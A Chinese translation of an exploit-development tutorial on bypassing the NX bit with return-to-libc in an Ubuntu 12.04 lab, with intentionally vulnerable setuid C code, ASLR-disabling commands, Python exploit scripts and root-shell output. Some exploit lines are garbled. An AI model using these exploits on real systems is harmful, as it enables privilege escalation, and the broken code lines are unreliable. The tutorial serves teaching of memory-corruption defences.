使用 return-to-libc 绕过 NX 位
译者：hackyzh
前提条件：
经典的基于堆栈的缓冲区溢出
虚拟机安装：Ubuntu 12.04（x86）
在以前的帖子中，我们看到了这个攻击者
- 复制shellcode堆栈并跳转到它！
为了成功利用漏洞代码。为了阻止攻击者的行动，安全研究人员提出了一个名为“NX 位”的漏洞缓解！
什么是NX 位？
它是一种利用缓解技术，使某些内存区域不可执行，并使可执行区域不可写。示例：使数据，堆栈和堆段不可执行，而代码段不可写。
在NX 位打开的情况下，我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典的方法中，shellcode被复制到堆栈中，返回地址指向shellcode。但是现在由于堆栈不再可执行，我们的漏洞利用失败！但是这种缓解技术并不完全是万无一失的，因此在这篇文章中我们可以看到如何绕过NX 位！
漏洞代码：此代码与以前发布的漏洞代码相同，稍作修改。稍后我会谈谈需要修改的内容。
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}
编译命令：
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意：-z execstack参数不传递给gcc，因此现在堆栈是非可执行的，可以验证如下所示：
$ readelf -l vuln
...
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
LOAD 0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
...
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$
堆栈段只包含RW标志，无E标志！
如何绕过NX位并实现任意代码执行？
可以使用叫做“return-to-libc”的攻击技术绕过NX 位。这里返回地址被一个特定的libc函数地址覆盖（而不是包含shellcode的堆栈地址）。例如，如果攻击者想要生成一个shell，那么他将使用system地址覆盖返回地址，并在堆栈中设置system所需的相应参数，以便成功调用它。
在已经反汇编并绘制了漏洞代码的堆栈布局后，让我们编写一个漏洞代码来绕过NX位！
利用代码：
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it.
#For example system address = libc base address + system offset
#where
#libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
#system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
system = 0xb7e61060 #0xb7e2000+0x0003f060
exit = 0xb7e54be0 #0xb7e2000+0x00032be0
#system_arg points to 'sh' substring of 'fflush' string.
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c.
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d #(obtained from hexdump output of the binary)
#endianess conversion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])
执行上面的exploit程序给我们root shell，如下所示：
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K��}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
宾果，我们得到了root shell！但是在实际应用中，由于root setuid程序会采用最小权限的原则，它并不容易。
什么是最小权限原则？
此技术允许root setuid程序仅在需要时获取root权限。这指的是当需要时，获得root权限，当不需要它们时，它将丢弃获得的root权限。正常做法是root setuid程序之后，用户获取输入之前删除root权限。因此，即使用户输入是恶意的，攻击者也不会得到root shell。例如下面的漏洞代码不允许攻击者获取root shell。
漏洞代码：
//vuln_priv.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}
当我们尝试使用下面的漏洞利用代码来利用它时，以上漏洞的代码不会给出root shell。
#exp_priv.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0xb7e61060
exit = 0xb7e54be0
system_arg = 0x804829d
#endianess conversion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln_priv", buf])
注意：exp_priv.py是exp.py的略微修改的版本 ！只是system_arg变量被调整了！
$ python exp_priv.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$
这是隧道的尽头吗？如何利用应用最小权限原则的root setuid程序？
对于漏洞代码（vuln_priv），我们的利用代码（exp_priv.py）正在调用system，随后退出，发现它不足以获取root shell。但是如果我们的利用代码（exp_priv.py）被修改为调用以下libc函数（按照列出的顺序）
seteuid(0)system(“sh”)exit()
我们将获得root shell。这种技术被称为链接到libc！